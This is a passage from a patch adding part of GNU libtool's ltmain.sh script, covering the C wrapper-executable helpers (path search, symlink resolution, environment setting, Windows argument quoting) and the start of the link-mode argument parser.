S_IXGRP | S_IXUSR); + } + return rval; +} + +/* Searches for the full path of the wrapper. Returns + newly allocated full path name if found, NULL otherwise + Does not chase symlinks, even on platforms that support them. +*/ +char * +find_executable (const char *wrapper) +{ + int has_slash = 0; + const char *p; + const char *p_next; + /* static buffer for getcwd */ + char tmp[LT_PATHMAX + 1]; + size_t tmp_len; + char *concat_name; + + lt_debugprintf (__FILE__, __LINE__, "(find_executable): %s\n", + nonempty (wrapper)); + + if ((wrapper == NULL) || (*wrapper == '\0')) + return NULL; + + /* Absolute path? */ +#if defined HAVE_DOS_BASED_FILE_SYSTEM + if (isalpha ((unsigned char) wrapper[0]) && wrapper[1] == ':') + { + concat_name = xstrdup (wrapper); + if (check_executable (concat_name)) + return concat_name; + XFREE (concat_name); + } + else + { +#endif + if (IS_DIR_SEPARATOR (wrapper[0])) + { + concat_name = xstrdup (wrapper); + if (check_executable (concat_name)) + return concat_name; + XFREE (concat_name); + } +#if defined HAVE_DOS_BASED_FILE_SYSTEM + } +#endif + + for (p = wrapper; *p; p++) + if (*p == '/') + { + has_slash = 1; + break; + } + if (!has_slash) + { + /* no slashes; search PATH */ + const char *path = getenv ("PATH"); + if (path != NULL) + { + for (p = path; *p; p = p_next) + { + const char *q; + size_t p_len; + for (q = p; *q; q++) + if (IS_PATH_SEPARATOR (*q)) + break; + p_len = (size_t) (q - p); + p_next = (*q == '\0' ? q : q + 1); + if (p_len == 0) + { + /* empty path: current directory */ + if (getcwd (tmp, LT_PATHMAX) == NULL) + lt_fatal (__FILE__, __LINE__, "getcwd failed: %s", + nonnull (strerror (errno))); + tmp_len = strlen (tmp); + concat_name = + XMALLOC (char, tmp_len + 1 + strlen (wrapper) + 1); + memcpy (concat_name, tmp, tmp_len); + concat_name[tmp_len] = '/'; + strcpy (concat_name + tmp_len + 1, wrapper); + } + else + { + concat_name = + XMALLOC (char, p_len + 1 + strlen (wrapper) + 1); + memcpy (concat_name, p, p_len); + concat_name[p_len] = '/'; + strcpy (concat_name + p_len + 1, wrapper); + } + if (check_executable (concat_name)) + return concat_name; + XFREE (concat_name); + } + } + /* not found in PATH; assume curdir */ + } + /* Relative path | not found in path: prepend cwd */ + if (getcwd (tmp, LT_PATHMAX) == NULL) + lt_fatal (__FILE__, __LINE__, "getcwd failed: %s", + nonnull (strerror (errno))); + tmp_len = strlen (tmp); + concat_name = XMALLOC (char, tmp_len + 1 + strlen (wrapper) + 1); + memcpy (concat_name, tmp, tmp_len); + concat_name[tmp_len] = '/'; + strcpy (concat_name + tmp_len + 1, wrapper); + + if (check_executable (concat_name)) + return concat_name; + XFREE (concat_name); + return NULL; +} + +char * +chase_symlinks (const char *pathspec) +{ +#ifndef S_ISLNK + return xstrdup (pathspec); +#else + char buf[LT_PATHMAX]; + struct stat s; + char *tmp_pathspec = xstrdup (pathspec); + char *p; + int has_symlinks = 0; + while (strlen (tmp_pathspec) && !has_symlinks) + { + lt_debugprintf (__FILE__, __LINE__, + "checking path component for symlinks: %s\n", + tmp_pathspec); + if (lstat (tmp_pathspec, &s) == 0) + { + if (S_ISLNK (s.st_mode) != 0) + { + has_symlinks = 1; + break; + } + + /* search backwards for last DIR_SEPARATOR */ + p = tmp_pathspec + strlen (tmp_pathspec) - 1; + while ((p > tmp_pathspec) && (!IS_DIR_SEPARATOR (*p))) + p--; + if ((p == tmp_pathspec) && (!IS_DIR_SEPARATOR (*p))) + { + /* no more DIR_SEPARATORS left */ + break; + } + *p = '\0'; + } + else + { + lt_fatal (__FILE__, __LINE__, + "error accessing file \"%s\": %s", + tmp_pathspec, nonnull (strerror (errno))); + } + } + XFREE (tmp_pathspec); + + if (!has_symlinks) + { + return xstrdup (pathspec); + } + + tmp_pathspec = realpath (pathspec, buf); + if (tmp_pathspec == 0) + { + lt_fatal (__FILE__, __LINE__, + "could not follow symlinks for %s", pathspec); + } + return xstrdup (tmp_pathspec); +#endif +} + +char * +strendzap (char *str, const char *pat) +{ + size_t len, patlen; + + assert (str != NULL); + assert (pat != NULL); + + len = strlen (str); + patlen = strlen (pat); + + if (patlen <= len) + { + str += len - patlen; + if (STREQ (str, pat)) + *str = '\0'; + } + return str; +} + +void +lt_debugprintf (const char *file, int line, const char *fmt, ...) +{ + va_list args; + if (lt_debug) + { + (void) fprintf (stderr, "%s:%s:%d: ", program_name, file, line); + va_start (args, fmt); + (void) vfprintf (stderr, fmt, args); + va_end (args); + } +} + +static void +lt_error_core (int exit_status, const char *file, + int line, const char *mode, + const char *message, va_list ap) +{ + fprintf (stderr, "%s:%s:%d: %s: ", program_name, file, line, mode); + vfprintf (stderr, message, ap); + fprintf (stderr, ".\n"); + + if (exit_status >= 0) + exit (exit_status); +} + +void +lt_fatal (const char *file, int line, const char *message, ...) +{ + va_list ap; + va_start (ap, message); + lt_error_core (EXIT_FAILURE, file, line, "FATAL", message, ap); + va_end (ap); +} + +static const char * +nonnull (const char *s) +{ + return s ? s : "(null)"; +} + +static const char * +nonempty (const char *s) +{ + return (s && !*s) ? "(empty)" : nonnull (s); +} + +void +lt_setenv (const char *name, const char *value) +{ + lt_debugprintf (__FILE__, __LINE__, + "(lt_setenv) setting '%s' to '%s'\n", + nonnull (name), nonnull (value)); + { +#ifdef HAVE_SETENV + /* always make a copy, for consistency with !HAVE_SETENV */ + char *str = xstrdup (value); + setenv (name, str, 1); +#else + size_t len = strlen (name) + 1 + strlen (value) + 1; + char *str = XMALLOC (char, len); + sprintf (str, "%s=%s", name, value); + if (putenv (str) != EXIT_SUCCESS) + { + XFREE (str); + } +#endif + } +} + +char * +lt_extend_str (const char *orig_value, const char *add, int to_end) +{ + char *new_value; + if (orig_value && *orig_value) + { + size_t orig_value_len = strlen (orig_value); + size_t add_len = strlen (add); + new_value = XMALLOC (char, add_len + orig_value_len + 1); + if (to_end) + { + strcpy (new_value, orig_value); + strcpy (new_value + orig_value_len, add); + } + else + { + strcpy (new_value, add); + strcpy (new_value + add_len, orig_value); + } + } + else + { + new_value = xstrdup (add); + } + return new_value; +} + +void +lt_update_exe_path (const char *name, const char *value) +{ + lt_debugprintf (__FILE__, __LINE__, + "(lt_update_exe_path) modifying '%s' by prepending '%s'\n", + nonnull (name), nonnull (value)); + + if (name && *name && value && *value) + { + char *new_value = lt_extend_str (getenv (name), value, 0); + /* some systems can't cope with a ':'-terminated path #' */ + size_t len = strlen (new_value); + while ((len > 0) && IS_PATH_SEPARATOR (new_value[len-1])) + { + new_value[--len] = '\0'; + } + lt_setenv (name, new_value); + XFREE (new_value); + } +} + +void +lt_update_lib_path (const char *name, const char *value) +{ + lt_debugprintf (__FILE__, __LINE__, + "(lt_update_lib_path) modifying '%s' by prepending '%s'\n", + nonnull (name), nonnull (value)); + + if (name && *name && value && *value) + { + char *new_value = lt_extend_str (getenv (name), value, 0); + lt_setenv (name, new_value); + XFREE (new_value); + } +} + +EOF + case $host_os in + mingw*) + cat <<"EOF" + +/* Prepares an argument vector before calling spawn(). + Note that spawn() does not by itself call the command interpreter + (getenv ("COMSPEC") != NULL ? getenv ("COMSPEC") : + ({ OSVERSIONINFO v; v.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); + GetVersionEx(&v); + v.dwPlatformId == VER_PLATFORM_WIN32_NT; + }) ? "cmd.exe" : "command.com"). + Instead it simply concatenates the arguments, separated by ' ', and calls + CreateProcess(). We must quote the arguments since Win32 CreateProcess() + interprets characters like ' ', '\t', '\\', '"' (but not '<' and '>') in a + special way: + - Space and tab are interpreted as delimiters. They are not treated as + delimiters if they are surrounded by double quotes: "...". + - Unescaped double quotes are removed from the input. Their only effect is + that within double quotes, space and tab are treated like normal + characters. + - Backslashes not followed by double quotes are not special. + - But 2*n+1 backslashes followed by a double quote become + n backslashes followed by a double quote (n >= 0): + \" -> " + \\\" -> \" + \\\\\" -> \\" + */ +#define SHELL_SPECIAL_CHARS "\"\\ \001\002\003\004\005\006\007\010\011\012\013\014\015\016\017\020\021\022\023\024\025\026\027\030\031\032\033\034\035\036\037" +#define SHELL_SPACE_CHARS " \001\002\003\004\005\006\007\010\011\012\013\014\015\016\017\020\021\022\023\024\025\026\027\030\031\032\033\034\035\036\037" +char ** +prepare_spawn (char **argv) +{ + size_t argc; + char **new_argv; + size_t i; + + /* Count number of arguments. */ + for (argc = 0; argv[argc] != NULL; argc++) + ; + + /* Allocate new argument vector. */ + new_argv = XMALLOC (char *, argc + 1); + + /* Put quoted arguments into the new argument vector. */ + for (i = 0; i < argc; i++) + { + const char *string = argv[i]; + + if (string[0] == '\0') + new_argv[i] = xstrdup ("\"\""); + else if (strpbrk (string, SHELL_SPECIAL_CHARS) != NULL) + { + int quote_around = (strpbrk (string, SHELL_SPACE_CHARS) != NULL); + size_t length; + unsigned int backslashes; + const char *s; + char *quoted_string; + char *p; + + length = 0; + backslashes = 0; + if (quote_around) + length++; + for (s = string; *s != '\0'; s++) + { + char c = *s; + if (c == '"') + length += backslashes + 1; + length++; + if (c == '\\') + backslashes++; + else + backslashes = 0; + } + if (quote_around) + length += backslashes + 1; + + quoted_string = XMALLOC (char, length + 1); + + p = quoted_string; + backslashes = 0; + if (quote_around) + *p++ = '"'; + for (s = string; *s != '\0'; s++) + { + char c = *s; + if (c == '"') + { + unsigned int j; + for (j = backslashes + 1; j > 0; j--) + *p++ = '\\'; + } + *p++ = c; + if (c == '\\') + backslashes++; + else + backslashes = 0; + } + if (quote_around) + { + unsigned int j; + for (j = backslashes; j > 0; j--) + *p++ = '\\'; + *p++ = '"'; + } + *p = '\0'; + + new_argv[i] = quoted_string; + } + else + new_argv[i] = (char *) string; + } + new_argv[argc] = NULL; + + return new_argv; +} +EOF + ;; + esac + + cat <<"EOF" +void lt_dump_script (FILE* f) +{ +EOF + func_emit_wrapper yes | + $SED -n -e ' +s/^\(.\{79\}\)\(..*\)/\1\ +\2/ +h +s/\([\\"]\)/\\\1/g +s/$/\\n/ +s/\([^\n]*\).*/ fputs ("\1", f);/p +g +D' + cat <<"EOF" +} +EOF +} +# end: func_emit_cwrapperexe_src + +# func_win32_import_lib_p ARG +# True if ARG is an import lib, as indicated by $file_magic_cmd +func_win32_import_lib_p () +{ + $debug_cmd + + case `eval $file_magic_cmd \"\$1\" 2>/dev/null | $SED -e 10q` in + *import*) : ;; + *) false ;; + esac +} + +# func_suncc_cstd_abi +# !!ONLY CALL THIS FOR SUN CC AFTER $compile_command IS FULLY EXPANDED!! +# Several compiler flags select an ABI that is incompatible with the +# Cstd library. Avoid specifying it if any are in CXXFLAGS. +func_suncc_cstd_abi () +{ + $debug_cmd + + case " $compile_command " in + *" -compat=g "*|*\ -std=c++[0-9][0-9]\ *|*" -library=stdcxx4 "*|*" -library=stlport4 "*) + suncc_use_cstd_abi=no + ;; + *) + suncc_use_cstd_abi=yes + ;; + esac +} + +# func_mode_link arg... +func_mode_link () +{ + $debug_cmd + + case $host in + *-*-cygwin* | *-*-mingw* | *-*-pw32* | *-*-os2* | *-cegcc*) + # It is impossible to link a dll without this setting, and + # we shouldn't force the makefile maintainer to figure out + # what system we are compiling for in order to pass an extra + # flag for every libtool invocation. + # allow_undefined=no + + # FIXME: Unfortunately, there are problems with the above when trying + # to make a dll that has undefined symbols, in which case not + # even a static library is built. For now, we need to specify + # -no-undefined on the libtool link line when we can be certain + # that all symbols are satisfied, otherwise we get a static library. + allow_undefined=yes + ;; + *) + allow_undefined=yes + ;; + esac + libtool_args=$nonopt + base_compile="$nonopt $@" + compile_command=$nonopt + finalize_command=$nonopt + + compile_rpath= + finalize_rpath= + compile_shlibpath= + finalize_shlibpath= + convenience= + old_convenience= + deplibs= + old_deplibs= + compiler_flags= + linker_flags= + dllsearchpath= + lib_search_path=`pwd` + inst_prefix_dir= + new_inherited_linker_flags= + + avoid_version=no + bindir= + dlfiles= + dlprefiles= + dlself=no + export_dynamic=no + export_symbols= + export_symbols_regex= + generated= + libobjs= + ltlibs= + module=no + no_install=no + objs= + os2dllname= + non_pic_objects= + precious_files_regex= + prefer_static_libs=no + preload=false + prev= + prevarg= + release= + rpath= + xrpath= + perm_rpath= + temp_rpath= + thread_safe=no + vinfo= + vinfo_number=no + weak_libs= + single_module=$wl-single_module + func_infer_tag $base_compile + + # We need to know -static, to get the right output filenames. + for arg + do + case $arg in + -shared) + test yes != "$build_libtool_libs" \ + && func_fatal_configuration "cannot build a shared library" + build_old_libs=no + break + ;; + -all-static | -static | -static-libtool-libs) + case $arg in + -all-static) + if test yes = "$build_libtool_libs" && test -z "$link_static_flag"; then + func_warning "complete static linking is impossible in this configuration" + fi + if test -n "$link_static_flag"; then + dlopen_self=$dlopen_self_static + fi + prefer_static_libs=yes + ;; + -static) + if test -z "$pic_flag" && test -n "$link_static_flag"; then + dlopen_self=$dlopen_self_static + fi + prefer_static_libs=built + ;; + -static-libtool-libs) + if test -z "$pic_flag" && test -n "$link_static_flag"; then + dlopen_self=$dlopen_self_static + fi + prefer_static_libs=yes + ;; + esac + build_libtool_libs=no + build_old_libs=yes + break + ;; + esac + done + + # See if our shared archives depend on static archives. + test -n "$old_archive_from_new_cmds" && build_old_libs=yes + + # Go through the arguments, transforming them on the way. + while test "$#" -gt 0; do + arg=$1 + shift + func_quote_arg pretty,unquoted "$arg" + qarg=$func_quote_arg_unquoted_result + func_append libtool_args " $func_quote_arg_result" + + # If the previous option needs an argument, assign it. + if test -n "$prev"; then + case $prev in + output) + func_append compile_command " @OUTPUT@" + func_append finalize_command " @OUTPUT@" + ;; + esac + + case $prev in + bindir) + bindir=$arg + prev= + continue + ;; + dlfiles|dlprefiles) + $preload || { + # Add the symbol object into the linking commands. + func_append compile_command " @SYMFILE@" + func_append finalize_command " @SYMFILE@" + preload=: + } + case $arg in + *.la | *.lo) ;; # We handle these cases below. + force) + if test no = "$dlself"; then + dlself=needless + export_dynamic=yes + fi + prev= + continue + ;; + self) + if test dlprefiles = "$prev"; then + dlself=yes + elif test dlfiles = "$prev" && test yes != "$dlopen_self"; then + dlself=yes + else + dlself=needless + export_dynamic=yes + fi + prev= + continue + ;; + *) + if test dlfiles = "$prev"; then + func_append dlfiles " $arg" + else + func_append dlprefiles " $arg" + fi + prev= + continue + ;; + esac + ;; + expsyms) + export_symbols=$arg + test -f "$arg" \ + || func_fatal_error "symbol file '$arg' does not exist" + prev= + continue + ;; + expsyms_regex) + export_symbols_regex=$arg + prev= + continue + ;; + framework) + case $host in + *-*-darwin*) + case "$deplibs " in + *" $qarg.ltframework "*) ;; + *) func_append deplibs " $qarg.ltframework" # this is fixed later + ;; + esac + ;; + esac + prev= + continue + ;; + inst_prefix) + inst_prefix_dir=$arg + prev= + continue + ;; + mllvm) + # Clang does not use LLVM to link, so we can simply discard any + # '-mllvm $arg' options when doing the link step. + prev= + continue + ;; + objectlist) + if test -f "$arg"; then + save_arg=$arg + moreargs= + for fil in `cat "$save_arg"` + do +# func_append moreargs " $fil" + arg=$fil + # A libtool-controlled object. + + # Check to see that this really is a libtool object. + if func_lalib_unsafe_p "$arg"; then + pic_object= + non_pic_object= + + # Read the .lo file + func_source "$arg" + + if test -z "$pic_object" || + test -z "$non_pic_object" || + test none = "$pic_object" && + test none = "$non_pic_object"; then + func_fatal_error "cannot find name of object for '$arg'" + fi + + # Extract subdirectory from the argument. + func_dirname "$arg" "/" "" + xdir=$func_dirname_result + + if test none != "$pic_object"; then + # Prepend the subdirectory the object is found in. + pic_object=$xdir$pic_object + + if test dlfiles = "$prev"; then + if test yes = "$build_libtool_libs" && test yes = "$dlopen_support"; then + func_append dlfiles " $pic_object" + prev= + continue + else + # If libtool objects are unsupported, then we need to preload. + prev=dlprefiles + fi + fi + + # CHECK ME: I think I busted this. -Ossama + if test dlprefiles = "$prev"; then + # Preload the old-style object. + func_append dlprefiles " $pic_object" + prev= + fi + + # A PIC object. + func_append libobjs " $pic_object" + arg=$pic_object + fi + + # Non-PIC object. + if test none != "$non_pic_object"; then + # Prepend the subdirectory the object is found in. + non_pic_object=$xdir$non_pic_object + + # A standard non-PIC object + func_append non_pic_objects " $non_pic_object" + if test -z "$pic_object" || test none = "$pic_object"; then + arg=$non_pic_object + fi + else + # If the PIC object exists, use it instead. + # $xdir was prepended to $pic_object above. + non_pic_object=$pic_object + func_append non_pic_objects " $non_pic_object" + fi + else + # Only an error if not doing a dry-run. + if $opt_dry_run; then + # Extract subdirectory from the argument. + func_dirname "$arg" "/" "" + xdir=$func_dirname_result + + func_lo2o "$arg" + pic_object=$xdir$objdir/$func_lo2o_result + non_pic_object=$xdir$func_lo2o_result + func_append libobjs " $pic_object" + func_append non_pic_objects " $non_pic_object" + else + func_fatal_error "'$arg' is not a valid libtool object" + fi + fi + done + else + func_fatal_error "link input file '$arg' does not exist" + fi + arg=$save_arg + prev= + continue + ;; + os2dllname) + os2dllname=$arg + prev= + continue + ;; + precious_regex) + precious_files_regex=$arg + prev= + continue + ;; + release) + release=-$arg + prev= + continue + ;; + rpath | xrpath) + # We need an absolute path. + case $arg in + [\\/]* | [A-Za-z]:[\\/]*) ;; + *) + func_fatal_error "only absolute run-paths are allowed" + ;; + esac + if test rpath = "$prev"; then + case "$rpath " in + *" $arg "*) ;; + *) func_append rpath " $arg" ;; + esac + else + case "$xrpath " in + *" $arg "*) ;; + *) func_append xrpath " $arg" ;; + esac + fi + prev= + continue + ;; + shrext) + shrext_cmds=$arg + prev= + continue + ;; + weak) + func_append weak_libs " $arg" + prev= + continue + ;; + xassembler) + func_append compiler_flags " -Xassembler $qarg" + prev= + func_append compile_command " -Xassembler $qarg" + func_append finalize_command " -Xassembler $qarg" + continue + ;; + xcclinker) + func_append linker_flags " $qarg" + func_append compiler_flags " $qarg" + prev= + func_append compile_command " $qarg" + func_append finalize_command " $qarg" + continue + ;; + xcompiler) + func_append compiler_flags " $qarg" + prev= + func_append compile_command " $qarg" + func_append finalize_command " $qarg" + continue + ;; + xlinker) + func_append linker_flags " $qarg" + func_append compiler_flags " $wl$qarg" + prev= + func_append compile_command " $wl$qarg" + func_append finalize_command " $wl$qarg" + continue + ;; + *) + eval "$prev=\"\$arg\"" + prev= + continue + ;; + esac + fi # test -n "$prev" + + prevarg=$arg + + case $arg in + -all-static) + if test -n "$link_static_flag"; then + # See comment for -static flag below, for more details. + func_append compile_command " $link_static_flag" + func_append finalize_command " $link_static_flag" + fi + continue + ;; + + -allow-undefined) + # FIXME: remove this flag sometime in the future. + func_fatal_error "'-allow-undefined' must not be used because it is the default" + ;; + + -avoid-version) + avoid_version=yes + continue + ;; + + -bindir) + prev=bindir + continue + ;; + + -dlopen) + prev=dlfiles + continue + ;; + + -dlpreopen) + prev=dlprefiles + continue + ;; + + -export-dynamic) + export_dynamic=yes + continue + ;; + + -export-symbols | -export-symbols-regex) + if test -n "$export_symbols" || test -n "$export_symbols_regex"; then + func_fatal_error "more than one -exported-symbols argument is not allowed" + fi + if test X-export-symbols = "X$arg"; then + prev=expsyms + else + prev=expsyms_regex + fi + continue + ;; + + -framework) + prev=framework + continue + ;; + + -inst-prefix-dir) + prev=inst_prefix + continue + ;; + + # The native IRIX linker understands -LANG:*, -LIST:* and -LNO:* + # so, if we see these flags be careful not to treat them like -L + -L[A-Z][A-Z]*:*) + case $with_gcc/$host in + no/*-*-irix* | /*-*-irix*) + func_append compile_command " $arg" + func_append finalize_command " $arg" + ;; + esac + continue + ;; + + -L*) + func_stripname "-L" '' "$arg" + if test -z "$func_stripname_result"; then + if test "$#" -gt 0; then + func_fatal_error "require no space between '-L' and '$1'" + else + func_fatal_error "need path for '-L' option" + fi + fi + func_resolve_sysroot "$func_stripname_result" + dir=$func_resolve_sysroot_result + # We need an absolute path. + case $dir in + [\\/]* | [A-Za-z]:[\\/]*) ;; + *) + absdir=`cd "$dir" && pwd` + test -z "$absdir" && \ + func_fatal_error "cannot determine absolute directory name of '$dir'" + dir=$absdir + ;; + esac + case "$deplibs " in + *" -L$dir "* | *" $arg "*) + # Will only happen for absolute or sysroot arguments + ;; + *) + # Preserve sysroot, but never include relative directories + case $dir in + [\\/]* | [A-Za-z]:[\\/]* | =*) func_append deplibs " $arg" ;; + *) func_append deplibs " -L$dir" ;; + esac + func_append lib_search_path " $dir" + ;; + esac + case $host in + *-*-cygwin* | *-*-mingw* | *-*-pw32* | *-*-os2* | *-cegcc*) + testbindir=`$ECHO "$dir" | $SED 's*/lib$*/bin*'` + case :$dllsearchpath: in + *":$dir:"*) ;; + ::) dllsearchpath=$dir;; + *) func_append dllsearchpath ":$dir";; + esac + case :$dllsearchpath: in + *":$testbindir:"*) ;; + ::) dllsearchpath=$testbindir;; + *) func_append dllsearchpath ":$testbindir";; + esac + ;; + esac + continue + ;; + + -l*) + if test X-lc = "X$arg" || test X-lm = "X$arg"; then + case $host in + *-*-cygwin* | *-*-mingw* | *-*-pw32* | *-*-beos* | *-cegcc* | *-*-haiku*) + # These systems don't actually have a C or math library (as such) + continue + ;; + *-*-os2*) + # These systems don't actually have a C library (as such) + test X-lc = "X$arg" && continue + ;; + *-*-openbsd* | *-*-freebsd* | *-*-dragonfly* | *-*-bitrig* | *-*-midnightbsd*) + # Do not include libc due to us having libc/libc_r. + test X-lc = "X$arg" && continue + ;; + *-*-rhapsody* | *-*-darwin1.[012]) + # Rhapsody C and math libraries are in the System framework + func_append deplibs " System.ltframework" + continue + ;; + *-*-sco3.2v5* | *-*-sco5v6*) + # Causes problems with __ctype + test X-lc = "X$arg" && continue + ;; + *-*-sysv4.2uw2* | *-*-sysv5* | *-*-unixware* | *-*-OpenUNIX*) + # Compiler inserts libc in the correct place for threads to work + test X-lc = "X$arg" && continue + ;; + esac + elif test X-lc_r = "X$arg"; then + case $host in + *-*-openbsd* | *-*-freebsd* | *-*-dragonfly* | *-*-bitrig* | *-*-midnightbsd*) + # Do not include libc_r directly, use -pthread flag. + continue + ;; + esac + fi + func_append deplibs " $arg" + continue + ;; + + -mllvm) + prev=mllvm + continue + ;; + + -module) + module=yes + continue + ;; + + # Tru64 UNIX uses -model [arg] to determine the layout of C++ + # classes, name mangling, and exception handling. + # Darwin uses the -arch flag to determine output architecture. + -model|-arch|-isysroot|--sysroot) + func_append compiler_flags " $arg" + func_append compile_command " $arg" + func_append finalize_command " $arg" + prev=xcompiler + continue + ;; + # Solaris ld rejects as of 11.4. Refer to Oracle bug 22985199. + -pthread) + case $host in + *solaris2*) ;; + *) + case "$new_inherited_linker_flags " in + *" $arg "*) ;; + * ) func_append new_inherited_linker_flags " $arg" ;; + esac + ;; + esac + continue + ;; + -mt|-mthreads|-kthread|-Kthread|-pthreads|--thread-safe \ + |-threads|-fopenmp|-openmp|-mp|-xopenmp|-omp|-qsmp=*) + func_append compiler_flags " $arg" + func_append compile_command " $arg" + func_append finalize_command " $arg" + case "$new_inherited_linker_flags " in + *" $arg "*) ;; + * ) func_append new_inherited_linker_flags " $arg" ;; + esac + continue + ;; + + -multi_module) + single_module=$wl-multi_module + continue + ;; + + -no-fast-install) + fast_install=no + continue + ;; + + -no-install) + case $host in + *-*-cygwin* | *-*-mingw* | *-*-pw32* | *-*-os2* | *-*-darwin* | *-cegcc*) + # The PATH hackery in wrapper scripts is required on Windows + # and Darwin in order for the loader to find any dlls it needs. + func_warning "'-no-install' is ignored for $host" + func_warning "assuming '-no-fast-install' instead" + fast_install=no + ;; + *) no_install=yes ;; + esac + continue + ;; + + -no-undefined) + allow_undefined=no + continue + ;; + + -objectlist) + prev=objectlist + continue + ;; + + -os2dllname) + prev=os2dllname + continue + ;; + + -o) prev=output ;; + + -precious-files-regex) + prev=precious_regex + continue + ;; + + -release) + prev=release + continue + ;; + + -rpath) + prev=rpath + continue + ;; + + -R) + prev=xrpath + continue + ;; + + -R*) + func_stripname '-R' '' "$arg" + dir=$func_stripname_result + # We need an absolute path. + case $dir in + [\\/]* | [A-Za-z]:[\\/]*) ;; + =*) + func_stripname '=' '' "$dir" + dir=$lt_sysroot$func_stripname_result + ;; + *) + func_fatal_error "only absolute run-paths are allowed" + ;; + esac + case "$xrpath " in + *" $dir "*) ;; + *) func_append xrpath " $dir" ;; + esac + continue + ;; + + -shared) + # The effects of -shared are defined in a previous loop. + continue + ;; + + -shrext) + prev=shrext + continue + ;; + + -static | -static-libtool-libs) + # The effects of -static are defined in a previous loop. + # We used to do the same as -all-static on platforms that + # didn't have a PIC flag, but the assumption that the effects + # would be equivalent was wrong. It would break on at least + # Digital Unix and AIX. + continue + ;; + + -thread-safe) + thread_safe=yes + continue + ;; + + -version-info) + prev=vinfo + continue + ;; + + -version-number) + prev=vinfo + vinfo_number=yes + continue + ;; + + -weak) + prev=weak + continue + ;; + + -Wc,*) + func_stripname '-Wc,' '' "$arg" + args=$func_stripname_result + arg= + save_ifs=$IFS; IFS=, + for flag in $args; do + IFS=$save_ifs + func_quote_arg pretty "$flag" + func_append arg " $func_quote_arg_result" + func_append compiler_flags " $func_quote_arg_result" + done + IFS=$save_ifs + func_stripname ' ' '' "$arg" + arg=$func_stripname_result + ;; + + -Wl,*) + func_stripname '-Wl,' '' "$arg" + args=$func_stripname_result + arg= + save_ifs=$IFS; IFS=, + for flag in $args; do + IFS=$save_ifs + func_quote_arg pretty "$flag" + func_append arg " $wl$func_quote_arg_result" + func_append compiler_flags " $wl$func_quote_arg_result" + func_append linker_flags " $func_quote_arg_result" + done + IFS=$save_ifs + func_stripname ' ' '' "$arg" + arg=$func_stripname_result + ;; + + -Xassembler) + prev=xassembler + continue + ;; + + -Xcompiler) + prev=xcompiler + continue + ;; + + -Xlinker) + prev=xlinker + continue + ;; + + -XCClinker) + prev=xcclinker + continue + ;; + + # -msg_* for osf cc + -msg_*) + func_quote_arg pretty "$arg" + arg=$func_quote_arg_result + ;; + + # Flags to be passed through unchanged, with rationale: + # -64, -mips[0-9] enable 64-bit mode for the SGI compiler + # -r[0-9][0-9]* specify processor for the SGI compiler + # -xarch=*, -xtarget=* enable 64-bit mode for the Sun compiler + # +DA*, +DD* enable 64-bit mode for the HP compiler + # -q* compiler args for the IBM compiler + # -m*, -t[45]*, -txscale* architecture-specific flags for GCC + # -F/path path to uninstalled frameworks, gcc on darwin + # -p, -pg, --coverage, -fprofile-* profiling flags for GCC + # -fstack-protector* stack protector flags for GCC + # @file GCC response files + # -tp=* Portland pgcc target processor selection + # --sysroot=* for sysroot support + # -O*, -g*, -flto*, -fwhopr*, -fuse-linker-plugin GCC link-time optimization + # -specs=* GCC specs files + # -stdlib=* select c++ std lib with clang + # -fsanitize=* Clang/GCC memory and address sanitizer + # -fuse-ld=* Linker select flags for GCC + # -Wa,* Pass flags directly to the assembler + # -Werror, -Werror=* Report (specified) warnings as errors + -64|-mips[0-9]|-r[0-9][0-9]*|-xarch=*|-xtarget=*|+DA*|+DD*|-q*|-m*| \ + -t[45]*|-txscale*|-p|-pg|--coverage|-fprofile-*|-F*|@*|-tp=*|--sysroot=*| \ + -O*|-g*|-flto*|-fwhopr*|-fuse-linker-plugin|-fstack-protector*|-stdlib=*| \ + -specs=*|-fsanitize=*|-fuse-ld=*|-Wa,*|-Werror|-Werror=*) + func_quote_arg pretty "$arg" + arg=$func_quote_arg_result + func_append compile_command " $arg" + func_append finalize_command " $arg" + func_append compiler_flags " $arg" + continue + ;; + + -Z*) + if test os2 = "`expr $host : '.*\(os2\)'`"; then + # OS/2 uses -Zxxx to specify OS/2-specific options + compiler_flags="$compiler_flags $arg" + func_append compile_command " $arg" + func_append finalize_command " $arg" + case $arg in + -Zlinker | -Zstack) + prev=xcompiler + ;; + esac + continue + else + # Otherwise treat like 'Some other compiler flag' below + func_quote_arg pretty "$arg" + arg=$func_quote_arg_result + fi + ;; + + # Some other compiler flag. + -* | +*) + func_quote_arg pretty "$arg" + arg=$func_quote_arg_result + ;; + + *.$objext) + # A standard object. + func_append objs " $arg" + ;; + + *.lo) + # A libtool-controlled object. + + # Check to see that this really is a libtool object. + if func_lalib_unsafe_p "$arg"; then + pic_object= + non_pic_object= + + # Read the .lo file + func_source "$arg" + + if test -z "$pic_object" || + test -z "$non_pic_object" || + test none = "$pic_object" && + test none = "$non_pic_object"; then + func_fatal_error "cannot find name of object for '$arg'" + fi + + # Extract subdirectory from the argument. + func_dirname "$arg" "/" "" + xdir=$func_dirname_result + + test none = "$pic_object" || { + # Prepend the subdirectory the object is found in. + pic_object=$xdir$pic_object + + if test dlfiles = "$prev"; then + if test yes = "$build_libtool_libs" && test yes = "$dlopen_support"; then + func_append dlfiles " $pic_object" + prev= + continue + else + # If libtool objects are unsupported, then we need to preload. + prev=dlprefiles + fi + fi + + # CHECK ME: I think I busted this. -Ossama + if test dlprefiles = "$prev"; then + # Preload the old-style object. + func_append dlprefiles " $pic_object" + prev= + fi + + # A PIC object. + func_append libobjs " $pic_object" + arg=$pic_object + } + + # Non-PIC object. + if test none != "$non_pic_object"; then + # Prepend the subdirectory the object is found in. + non_pic_object=$xdir$non_pic_object + + # A standard non-PIC object + func_append non_pic_objects " $non_pic_object" + if test -z "$pic_object" || test none = "$pic_object"; then + arg=$non_pic_object + fi + else + # If the PIC object exists, use it instead. + # $xdir was prepended to $pic_object above. + non_pic_object=$pic_object + func_append non_pic_objects " $non_pic_object" + fi + else + # Only an error if not doing a dry-run. + if $opt_dry_run; then + # Extract subdirectory from the argument. + func_dirname "$arg" "/" "" + xdir=$func_dirname_result + + func_lo2o "$arg" + pic_object=$xdir$objdir/$func_lo2o_result + non_pic_object=$xdir$func_lo2o_result + func_append libobjs " $pic_object" + func_append non_pic_objects " $non_pic_object" + else + func_fatal_error "'$arg' is not a valid libtool object" + fi + fi + ;; + + *.$libext) + # An archive. + func_append deplibs " $arg" + func_append old_deplibs " $arg" + continue + ;; + + *.la) + # A libtool-controlled library. + + func_resolve_sysroot "$arg" + if test dlfiles = "$prev"; then + # This library was specified with -dlopen. + func_append dlfiles " 